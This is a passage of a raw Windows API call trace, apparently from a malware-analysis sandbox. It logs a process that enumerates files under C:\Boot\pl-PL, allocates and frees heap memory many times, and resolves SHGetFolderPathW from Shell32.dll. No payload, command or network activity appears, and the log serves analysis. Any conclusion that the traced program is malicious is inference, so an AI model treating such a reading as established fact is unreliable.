ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0266.352] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x640000) returned 1 [0266.352] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.352] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0266.352] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0266.353] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0266.353] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.353] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7029f0 | out: hHeap=0x640000) returned 1 [0266.353] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7029f0 [0266.353] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0266.353] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.353] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.353] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.353] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.353] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.353] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.353] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.353] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.353] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.353] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.353] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.353] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.353] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.353] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.353] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.353] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.353] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.353] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.353] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.353] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.353] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.354] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x31099a8 [0266.354] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.354] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.354] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.354] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.354] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc2e) returned 0x31106e0 [0266.354] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.354] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.354] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.354] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.354] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.354] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.354] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.354] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.354] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x31099a8 [0266.354] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.354] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.354] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.354] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.354] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.354] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.354] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.354] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.354] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.354] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.354] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.354] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.354] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.355] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.355] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.355] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.355] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.355] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.355] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.355] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x31099a8 [0266.355] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.355] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.355] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.355] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x31099a8 [0266.355] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.355] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.355] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.355] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.355] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.355] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.355] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.355] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.355] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.355] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.355] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.355] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.355] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.355] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.355] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.355] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.355] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.356] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.356] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.356] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.356] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.356] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.356] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.356] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.356] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.356] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.356] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.356] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.356] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.356] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.356] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.356] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.356] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0266.356] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.356] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.356] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.356] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.356] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.356] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.356] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.356] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.356] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.356] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc2e) returned 0x31106e0 [0266.356] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.356] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.357] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.357] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.357] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.357] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.357] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.357] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.357] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.357] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.357] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.357] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.357] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.357] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.357] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.357] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.357] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.357] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.357] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.357] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.357] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.357] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0266.358] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.358] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.358] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.358] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.358] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x31099a8 [0266.358] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.358] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.358] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.358] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x31099a8 [0266.358] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.358] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.358] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.358] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.358] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.358] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.358] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.358] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.358] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.358] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.358] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.358] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.358] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.358] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.358] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.358] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.358] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.358] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.359] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.359] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.359] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.359] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.359] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.359] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.359] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.359] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.359] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.359] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.359] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.359] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.359] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.359] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.359] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0266.359] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.359] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.359] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.359] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.359] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.360] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.360] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.360] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.360] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.360] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.360] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.360] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.360] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.360] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.360] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.360] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.360] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.360] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.360] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.360] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.360] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.360] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.360] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.360] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.360] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.360] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0266.360] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.360] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.360] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.360] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.360] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x31099a8 [0266.360] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.360] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.361] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.361] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x31099a8 [0266.361] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.361] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.361] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.361] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.361] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.361] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.361] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.361] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.361] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.361] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.361] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.361] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.361] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.361] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.361] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.361] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.361] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.361] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.361] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.361] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.361] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.361] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.361] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.361] PathFindFileNameW (pszPath="C:\\Boot\\pl-PL\\") returned="pl-PL\\" [0266.362] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0266.362] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x640000) returned 1 [0266.362] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0266.362] PathFindFileNameW (pszPath="") returned="" [0266.362] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75d10000 [0266.362] GetProcAddress (hModule=0x75d10000, lpProcName="SHGetFolderPathW") returned 0x75d95708 [0266.362] 